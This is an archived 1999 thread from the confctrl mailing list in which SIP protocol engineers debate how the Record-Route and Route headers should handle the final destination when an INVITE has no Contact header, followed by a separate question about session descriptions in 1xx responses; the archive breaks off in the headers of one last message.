Cc: 'confctrl@ISI.EDU'
Subject: Re: Record-Route and Route header clarification



> "Donovan, Steven R." wrote:
> 
> The purpose of the Record-Route and Route headers is to ensure that
> SIP requests for an established session and the ACK request resulting
> from the INVITE, 200 OK message pair get routed through interested
> proxy servers.  The correct routing needs to occur in both directions,
> both when the request comes from the calling user agent and when it
> comes from the called user agent.
> 

Nice explanation of the problem. I have one small question...

> 
> SCENARIO TWO (No contact included in INVITE message)
> ------------
> 
> User A        SPS1         SPS2         SPS3          B2
>    ------------>------------>------------>------------>
>    Invite SPS1  Invite SPS2  Invite SPS3  Invite B2
>    F:User A     F:User A     F:User A     F:User A
>    T:User B     T:User B     T:User B     T:User B
>    Q:1 INVITE   Q:1 INVITE   Q:1 INVITE   Q:1 INVITE
>    I:1@A        I:1@A        I:1@A        I:1@A
>                 RR:(SPS1)    RR:(SPS1)    RR:(SPS3,
>                                               SPS1)
> 
>   At this point User B will store the Route SPS3,SPS1,User A

As there was no Contact in the INVITE, shouldn't B omit A from its
stored route, i.e. store the route SPS3,SPS1 and leave it to SPS1 to do
the final routing to A?

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

------_=_NextPart_001_01BE90B0.6F177648
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2569.0">
<TITLE>RE: Record-Route and Route header clarification</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Anders,</FONT>
</P>

<P><FONT SIZE=3D2>After drafting a well thought out and exhaustive =
defense for including the From URI in the called user agents route list =
when the INVITE does not contain a Contact header, I realized that you =
are correct.&nbsp; Including the From URI in the route list would be =
redundant, as the SPS1 would route to User A in either case (given that =
the From URI will be in the To URI for the subsequent =
requests).</FONT></P>

<P><FONT SIZE=3D2>Good point...</FONT>
</P>

<P><FONT SIZE=3D2>Steve</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Anders Kristensen [<A =
HREF=3D"mailto:ak@hplb.hpl.hp.com">mailto:ak@hplb.hpl.hp.com</A>]</FONT>=

<BR><FONT SIZE=3D2>Sent: Tuesday, April 27, 1999 6:58 AM</FONT>
<BR><FONT SIZE=3D2>To: Donovan, Steven R.</FONT>
<BR><FONT SIZE=3D2>Cc: 'confctrl@ISI.EDU'</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Record-Route and Route header =
clarification</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>&gt; &quot;Donovan, Steven R.&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The purpose of the Record-Route and Route =
headers is to ensure that</FONT>
<BR><FONT SIZE=3D2>&gt; SIP requests for an established session and the =
ACK request resulting</FONT>
<BR><FONT SIZE=3D2>&gt; from the INVITE, 200 OK message pair get routed =
through interested</FONT>
<BR><FONT SIZE=3D2>&gt; proxy servers.&nbsp; The correct routing needs =
to occur in both directions,</FONT>
<BR><FONT SIZE=3D2>&gt; both when the request comes from the calling =
user agent and when it</FONT>
<BR><FONT SIZE=3D2>&gt; comes from the called user agent.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

<P><FONT SIZE=3D2>Nice explanation of the problem. I have one small =
question...</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; SCENARIO TWO (No contact included in INVITE =
message)</FONT>
<BR><FONT SIZE=3D2>&gt; ------------</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; User =
A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SPS3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; B2</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; =
------------&gt;------------&gt;------------&gt;------------&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; Invite SPS1&nbsp; Invite =
SPS2&nbsp; Invite SPS3&nbsp; Invite B2</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; F:User =
A&nbsp;&nbsp;&nbsp;&nbsp; F:User A&nbsp;&nbsp;&nbsp;&nbsp; F:User =
A&nbsp;&nbsp;&nbsp;&nbsp; F:User A</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; T:User =
B&nbsp;&nbsp;&nbsp;&nbsp; T:User B&nbsp;&nbsp;&nbsp;&nbsp; T:User =
B&nbsp;&nbsp;&nbsp;&nbsp; T:User B</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; Q:1 INVITE&nbsp;&nbsp; Q:1 =
INVITE&nbsp;&nbsp; Q:1 INVITE&nbsp;&nbsp; Q:1 INVITE</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
I:1@A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I:1@A</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RR:(SPS1)&nbsp;&nbsp;&nbsp; =
RR:(SPS1)&nbsp;&nbsp;&nbsp; RR:(SPS3,</FONT>
<BR><FONT =
SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
; SPS1)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; At this point User B will store the =
Route SPS3,SPS1,User A</FONT>
</P>

<P><FONT SIZE=3D2>As there was no Contact in the INVITE, shouldn't B =
omit A from its</FONT>
<BR><FONT SIZE=3D2>stored route, i.e. store the route SPS3,SPS1 and =
leave it to SPS1 to do</FONT>
<BR><FONT SIZE=3D2>the final routing to A?</FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Anders Kristensen &lt;ak@hplb.hpl.hp.com&gt;,</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www-uk.hpl.hp.com/people/ak/" =
TARGET=3D"_blank">http://www-uk.hpl.hp.com/people/ak/</A></FONT>
<BR><FONT SIZE=3D2>Hewlett-Packard Labs, Bristol, UK</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE90B0.6F177648--

From confctrl-owner  Tue Apr 27 07:11:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA21754
	for confctrl-outgoing; Tue, 27 Apr 1999 07:11:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA21745
	for <confctrl@zephyr.isi.edu>; Tue, 27 Apr 1999 07:11:34 -0700 (PDT)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA10040
	for <confctrl@ISI.EDU>; Tue, 27 Apr 1999 07:11:33 -0700 (PDT)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id OAA25549; Tue, 27 Apr 1999 14:06:48 GMT
Received: from localHost ([166.35.151.149]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990427140953.DYMN31190@localHost>;
          Tue, 27 Apr 1999 09:09:53 -0500
Date: Tue, 27 Apr 1999 09:10 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: Record-Route and Route header clarification
Message-Id: <19990427140953.DYMN31190@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>As there was no Contact in the INVITE, shouldn't B omit A from its
>stored route, i.e. store the route SPS3,SPS1 and leave it to SPS1 to do
>the final routing to A?

 No, we can't leave it up to SPS1 to do the final routing to A.  We
need to specify it in the Route header to make sure SPS1 doesn't use
some other intermediate proxy to get to A.  If that were to happen,
based on the defined rules, there would be no route header, and such
an intermediate proxy could add a Record-Route header on the reverse
Invite from B.  Then A would not know if it should use the originally
stored route or build a new one.  Including the final destination as
the last element in a Route header is required to ensure messages take
the correct route all the way.

John Hearty
MCI Worldcom



Date: Tue, 27 Apr 1999 06:58 -0500 (CDT)
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
To: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
CC: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Sender: owner-confctrl@ISI.EDU
Subject: Re: Record-Route and Route header clarification


> "Donovan, Steven R." wrote:
> 
> The purpose of the Record-Route and Route headers is to ensure that
> SIP requests for an established session and the ACK request resulting
> from the INVITE, 200 OK message pair get routed through interested
> proxy servers.  The correct routing needs to occur in both directions,
> both when the request comes from the calling user agent and when it
> comes from the called user agent.
> 

Nice explanation of the problem. I have one small question...

> 
> SCENARIO TWO (No contact included in INVITE message)
> ------------
> 
> User A        SPS1         SPS2         SPS3          B2
>    ------------>------------>------------>------------>
>    Invite SPS1  Invite SPS2  Invite SPS3  Invite B2
>    F:User A     F:User A     F:User A     F:User A
>    T:User B     T:User B     T:User B     T:User B
>    Q:1 INVITE   Q:1 INVITE   Q:1 INVITE   Q:1 INVITE
>    I:1@A        I:1@A        I:1@A        I:1@A
>                 RR:(SPS1)    RR:(SPS1)    RR:(SPS3,
>                                               SPS1)
> 
>   At this point User B will store the Route SPS3,SPS1,User A

As there was no Contact in the INVITE, shouldn't B omit A from its
stored route, i.e. store the route SPS3,SPS1 and leave it to SPS1 to do
the final routing to A?

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Apr 27 09:08:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA26556
	for confctrl-outgoing; Tue, 27 Apr 1999 09:08:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA26551
	for <confctrl@zephyr.isi.edu>; Tue, 27 Apr 1999 09:08:56 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA18516
	for <confctrl@ISI.EDU>; Tue, 27 Apr 1999 09:08:55 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA09720;
	Tue, 27 Apr 1999 12:08:37 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id RAA14518;
	Tue, 27 Apr 1999 17:08:51 +0100 (BST)
Message-ID: <3725E113.5FA58CFE@hplb.hpl.hp.com>
Date: Tue, 27 Apr 1999 17:08:51 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@wcom.com>
CC: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: Record-Route and Route header clarification
References: <19990427140953.DYMN31190@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


John Hearty wrote:
> 
> >As there was no Contact in the INVITE, shouldn't B omit A from its
> >stored route, i.e. store the route SPS3,SPS1 and leave it to SPS1 to do
> >the final routing to A?
> 
>  No, we can't leave it up to SPS1 to do the final routing to A.  We
> need to specify it in the Route header to make sure SPS1 doesn't use
> some other intermediate proxy to get to A.  If that were to happen,
> based on the defined rules, there would be no route header, and such
> an intermediate proxy could add a Record-Route header on the reverse
> Invite from B.  Then A would not know if it should use the originally
> stored route or build a new one.  Including the final destination as
> the last element in a Route header is required to ensure messages take
> the correct route all the way.
> 

Actually, I'm not sure this is a valid argument, and the reason opens up
some questions about the way Route based routing works (or not works, as
it may be). Consider what happens at SPS1 when B has the "end-to-end"
path SPS3,SPS1,A stored. In this case SPS1 receives a request (from B
via SPS3) like:

INVITE SPS1
F:User A
T:User B
Q:2 INVITE
I:1@A
R:(User A)

The spec then says [6.33]:

   Each host removes the first entry and then proxies the
   request to the host listed in that entry, also using it as the
   Request-URI.

so SPS1 pops User A from the Route header and routes the request to User
A using User A as the request URI. I see nothing here that would prevent
the message to go via a proxy from SPS1 to A!  This is especially the
case when the final destination in the route was copied form the From
header of the initial INVITE because in this case the final item in the
Route is likely to be host-independent, but even in the case where it's
the value of a Contact header there is nothing in the spec (as far as I
can tell) that guarantees that routing according to this field will work
as intended.

IMHO this is a general problem with how Record-Route and Route are
defined. For example, suppose I'm a UA having the route

  <sip:bell@bell-tel.com>, <sip:a.bell@ieee.org>,
  <sip:watson@example.com>

associated with some call leg. Now I'm supposed to route an INVITE on
this leg to sip:bell@bell-tel.com, but who says the standard routing
algorithm won't throw in a proxy between me and host bell-tel.com?  SIP
addresses and the resolution procedure are wonderfully flexible but in
the case of fixed routes this is unwanted.

Clearly (?), the intention of the spec is for each item in Record-Route
and Route headers to be host-dependent. As far as I can tell there is a
hidden assumption that each entity on a route has exactly one A DNS RR
associated with it and that routing is done on the basis of this A RR
and not, for example, on the basis of a SRV RR, as this might cause the
message NOT to go via the exact same network element that generated the
entry in first place.

One approach to this problem is to say that its the responsibility of
the entity inserting its own address on a Record-Route header to make
sure that this address is specific enough to ensure that this very same
element receives subsequent messages (if that's an absolute
requirement). So if ieee.org is served by more than one SIP server, each
of whose IP addresses are returned by an A DNS lookup, the SIP URL on a
Record-Route corresponding to one of these servers would have to have a
maddr attribute (as recommended by the spec anyway) or its host part
would be a dotted-decimal IP address.  Additionally, when routing is
based on the Route header, SIP entities should always use A lookups only
(mustn't use SRV for example), and only on the address as it appears in
the Route header.

This seems kind of serious. Did I miss something here?  Anyway, on the
initial question of whether B should include A in its stored route when
no Contact was present in A's initial INVITE I still believe the correct
answer is no.

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Apr 27 09:56:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA28523
	for confctrl-outgoing; Tue, 27 Apr 1999 09:56:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28517
	for <confctrl@zephyr.isi.edu>; Tue, 27 Apr 1999 09:56:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA23215
	for <confctrl@isi.edu>; Tue, 27 Apr 1999 09:56:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Apr 27 12:55:22 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id MAA10083;
	Tue, 27 Apr 1999 12:55:16 -0400 (EDT)
Message-ID: <3725EB4F.74C71E9C@dnrc.bell-labs.com>
Date: Tue, 27 Apr 1999 12:52:31 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@wcom.com>
CC: Anders Kristensen <ak@hplb.hpl.hp.com>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: Record-Route and Route header clarification
References: <19990427140953.DYMN31190@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
> >As there was no Contact in the INVITE, shouldn't B omit A from its
> >stored route, i.e. store the route SPS3,SPS1 and leave it to SPS1 to do
> >the final routing to A?
> 
>  No, we can't leave it up to SPS1 to do the final routing to A.  We
> need to specify it in the Route header to make sure SPS1 doesn't use
> some other intermediate proxy to get to A.  If that were to happen,
> based on the defined rules, there would be no route header, and such
> an intermediate proxy could add a Record-Route header on the reverse
> Invite from B.  Then A would not know if it should use the originally
> stored route or build a new one.  Including the final destination as
> the last element in a Route header is required to ensure messages take
> the correct route all the way.

There are two separate issues here:

(1) changes in the routing after the original INVITE,
(2) making sure SPS1 can Route to A

For (2), the solution is not to Route based on From, but to make
inclusion of Contact mandatory in the INVITE, just as we have discussed
making it mandatory in the 200 OK.

For (1), I have come to the conclusion that you want to be able to
change the routing after the initial one is setup. This is useful for
terminal mobility through SIP, where the UAS or UAC re-INVITEs with a
new Contact header, to change the route to its new location. Allowing
the route to be updated also means that proxies can elect to "drop out"
of the call signaling path when they feel they are no longer useful. 

Thanks,
Jonathan R.



-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Apr 27 11:57:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA04614
	for confctrl-outgoing; Tue, 27 Apr 1999 11:57:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04609
	for <confctrl@zephyr.isi.edu>; Tue, 27 Apr 1999 11:57:45 -0700 (PDT)
Received: from internal.mediatrix.com ([205.237.248.36])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA07416
	for <confctrl@ISI.EDU>; Tue, 27 Apr 1999 11:57:44 -0700 (PDT)
Received: by INTERNAL with Internet Mail Service (5.5.2232.9)
	id <H3VGZ893>; Tue, 27 Apr 1999 15:00:57 -0400
Message-ID: <F16674FCE856D211AC0D00E02910AE0AD959@INTERNAL>
From: Eric Tremblay <etremblay@mediatrix.com>
To: confctrl@ISI.EDU
Subject: SDP in 1xx responses
Date: Tue, 27 Apr 1999 15:00:56 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Taken from the notes on Henning's site
(http://www.cs.columbia.edu/~hgs/sip/notes.html)

//-----------
Message Bodies in INVITE and ACK
The caller MAY choose to omit the request body (i.e., not send a session
description) or send a session description that does not list any media
types. This indicates that the caller does not know its desired media
characteristics until the call has been accepted. In this case, the UAS
SHOULD still return a session description in its informational (1xx) or
success (2xx) response, containing those media streams and codecs it
supports. 

If the INVITE request did not contain a complete session description, the
caller MUST include one in the ACK request. A UAC MUSTNOT send an updated
session description in an ACK request if it had already sent a complete
session description in the INVITE request. If the UAC wishes to modify the
session after the call setup has begun, it MUST use another INVITE request
instead. 
//-------------

>From what I read above, a UAS can send back a session description in a 1xx
response, is this correct? If this is the case, section 8.1 in RFC2543
should maybe be updated, as it stated that 1xx responses can include a body
that contains advisory information about the progress of the request.

Thanks,

EricT


Eric Tremblay, ing. stag.
------------------------------
Mediatrix Telecom
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com 

From confctrl-owner  Tue Apr 27 12:44:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA06779
	for confctrl-outgoing; Tue, 27 Apr 1999 12:44:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA06774
	for <confctrl@zephyr.isi.edu>; Tue, 27 Apr 1999 12:44:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA13133
	for <confctrl@isi.edu>; Tue, 27 Apr 1999 12:44:03 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Apr 27 15:43:05 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id PAA14298;
	Tue, 27 Apr 1999 15:43:02 -0400 (EDT)
Message-ID: <372612A0.A12C7D03@dnrc.bell-labs.com>
Date: Tue, 27 Apr 1999 15:40:16 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: John Hearty <John.H.Hearty@wcom.com>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: Record-Route and Route header clarification
References: <19990427140953.DYMN31190@localHost> <3725E113.5FA58CFE@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> so SPS1 pops User A from the Route header and routes the request to User
> A using User A as the request URI. I see nothing here that would prevent
> the message to go via a proxy from SPS1 to A!  This is especially the
> case when the final destination in the route was copied form the From
> header of the initial INVITE because in this case the final item in the
> Route is likely to be host-independent, but even in the case where it's
> the value of a Contact header there is nothing in the spec (as far as I
> can tell) that guarantees that routing according to this field will work
> as intended.

This is correct. But, if there is no Contact, and the last routed proxy
has received it, who cares if there are more intermediate proxies along
the way? In any case, the change of making Contact mandatory will fix
this.


> One approach to this problem is to say that its the responsibility of
> the entity inserting its own address on a Record-Route header to make
> sure that this address is specific enough to ensure that this very same
> element receives subsequent messages (if that's an absolute
> requirement). 

yes. place the maddr parameter in the URI in the Record-Route header, if
its important (my server does this). The draft spec should definitely
have a caveat along those lines.


> This seems kind of serious. Did I miss something here? 

You're correct, but I don't think its serious. If your server is
concerned, use the maddr parameter.

> Anyway, on the
> initial question of whether B should include A in its stored route when
> no Contact was present in A's initial INVITE I still believe the correct
> answer is no.

I agree.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Apr 27 13:07:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA07958
	for confctrl-outgoing; Tue, 27 Apr 1999 13:07:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA07953
	for <confctrl@zephyr.isi.edu>; Tue, 27 Apr 1999 13:07:12 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA15625
	for <confctrl@isi.edu>; Tue, 27 Apr 1999 13:07:11 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA28027;
	Tue, 27 Apr 1999 16:06:53 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id VAA27327;
	Tue, 27 Apr 1999 21:07:07 +0100 (BST)
Message-ID: <372618EB.1D588E28@hplb.hpl.hp.com>
Date: Tue, 27 Apr 1999 21:07:07 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: John Hearty <John.H.Hearty@wcom.com>,
        "Donovan, Steven R." <Steven.R.Donovan@wcom.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: Record-Route and Route header clarification
References: <19990427140953.DYMN31190@localHost> <3725E113.5FA58CFE@hplb.hpl.hp.com> <372612A0.A12C7D03@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:
> 
> Anders Kristensen wrote:
> >
> > so SPS1 pops User A from the Route header and routes the request to User
> > A using User A as the request URI. I see nothing here that would prevent
> > the message to go via a proxy from SPS1 to A!  This is especially the
> > case when the final destination in the route was copied form the From
> > header of the initial INVITE because in this case the final item in the
> > Route is likely to be host-independent, but even in the case where it's
> > the value of a Contact header there is nothing in the spec (as far as I
> > can tell) that guarantees that routing according to this field will work
> > as intended.
> 
> This is correct. But, if there is no Contact, and the last routed proxy
> has received it, who cares if there are more intermediate proxies along
> the way? In any case, the change of making Contact mandatory will fix
> this.

Right. At least to the extent that people use Contact addresses that
cause messages routed according to those addresses to go straight to
their current host. If they don't, e.g. because they use
host-independent Contacts (which they shouldn't do), then I agree it
probably doesn't really matter.  As long as all hosts that really want
to make sure they stay on the signalling path can do so, there should be
no harm in interjecting additional proxies along the way.

BTW there's still the problem John Hearty mentioned earlier that when a
Route ends with the next-to-last proxy, i.e. doesn't include the final
destination, the last proxy may add a Record-Route header which can
confuse the receiving UA. This is solved by mandating the use of Contact
headers, but could also be handled by requiring the last proxy on the
Route path to retain an empty Route header in the forwarded message and
requiring proxies receiving such a header to include it in the forwarded
message thus preventing anyone from adding the Record-Route header.

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Apr 27 18:52:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA22022
	for confctrl-outgoing; Tue, 27 Apr 1999 18:52:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA22017
	for <confctrl@zephyr.isi.edu>; Tue, 27 Apr 1999 18:52:04 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA19464
	for <confctrl@isi.edu>; Tue, 27 Apr 1999 18:52:02 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Tue Apr 27 21:51:28 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.112])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id VAA08112;
	Tue, 27 Apr 1999 21:51:26 -0400 (EDT)
Message-ID: <372669A6.E4562AB2@dnrc.bell-labs.com>
Date: Tue, 27 Apr 1999 21:51:34 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
